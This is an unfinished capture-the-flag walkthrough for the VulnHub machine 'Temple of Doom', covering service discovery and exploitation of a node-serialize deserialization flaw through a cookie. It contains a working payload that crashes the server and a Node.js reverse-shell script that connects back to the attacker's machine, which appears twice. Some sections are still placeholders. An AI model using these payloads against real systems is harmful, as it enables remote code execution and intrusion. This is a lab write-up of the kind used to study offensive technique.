Temple of Doom: 1 ~ VulnHub - CTF Walkthrough
Contents
Objective
Retrieve a flag located inside /root folder
Source: [VulnHub.com]
Status: [In Progress]
Methodology
Discovery
Setup some env vars to speed up our execution
$ export T=192.168.56.101
Service discovery
# Nmap 7.70 scan initiated Wed Jul 18 07:39:40 2018 as: nmap -sV -sT -T5 -p- -o /media/sf_VM_Transfer/Pentesting/Temple_of_Doom//nmap.txt 192.168.56.101
Nmap scan report for 192.168.56.101
Host is up (0.0017s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
666/tcp open http Node.js Express framework
MAC Address: 08:00:27:BB:24:1C (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul 18 07:40:19 2018 -- 1 IP address (1 host up) scanned in 38.75 seconds
Entry Point #1 - Port 666 (nodejs)
Enumeration
Hitting http://192.168.56.101:666 presents us with "under construction". Refreshing the page results in an interesting error.
SyntaxError: Unexpected token F in JSON at position 79
at JSON.parse (<anonymous>)
at Object.exports.unserialize (/home/nodeadmin/.web/node_modules/node-serialize/lib/serialize.js:62:16)
at /home/nodeadmin/.web/server.js:12:29
at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)
at next (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)
at /home/nodeadmin/.web/node_modules/express/lib/router/index.js:281:22
at Function.process_params (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:335:12)
at next (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:275:10)
Upon further examiniation as to what could've triggered that behavior it became apparent that their service is setting a cookie profile, containing some sort of base64 encoded string
eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0%3D
Which decodes to the following JSON object.
'{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}7'
As we can see, there are obvious typos which will break JSON interpreter. What is more important at this point is that we have Something that breaks!!!! and so let's try using it to our advantage!
Exploitation
Checking the source code for serialize.js we confirm that it breaks while trying to de-serialize our cookie value (JSON.parse(obj)
unserialize = function(obj, originObj) {
var isIndex;
if (typeof obj === 'string') {
obj = JSON.parse(obj);
isIndex = true;
}
But the more critical find inside that source is the following function which shows that if we fix our serialization error we may be able to get nodejs to execute an arbitrary piece of code!
} else if(typeof obj[key] === 'string') {
if(obj[key].indexOf(FUNCFLAG) === 0) {
obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
} else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
And as a proof-of-concept I'll use the exploit to do something fun - bring down the server! (or in more technical terms - force the server process to exit)
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","execs":"_$$ND_FUNC$$_process.exit(0)"}
Refreshing the browser we now get Unable to connect - one of few times when this message is actually a good sight :)
<<< add more details what did not work and where to get more info on the subject .>>>
After trying and tweaking a few different pieces of code this is the one that ended up working for me (192.168.56.200 is the IP of my client / kali machine:
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "192.168.56.200", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
Before you can pass that as a Cookie value you need to convert it to compact that code into a string
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "192.168.56.200", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
Final Notes
xxx
Appendix A: Vulnerability Detail and Mitigation
Rating | High |
Description | xxxx |
Impact | xxxxxxxxxxxxxxxxxxxxxxxxxxxx |
Remediation | xxxxxxxxxxxxxxxxx |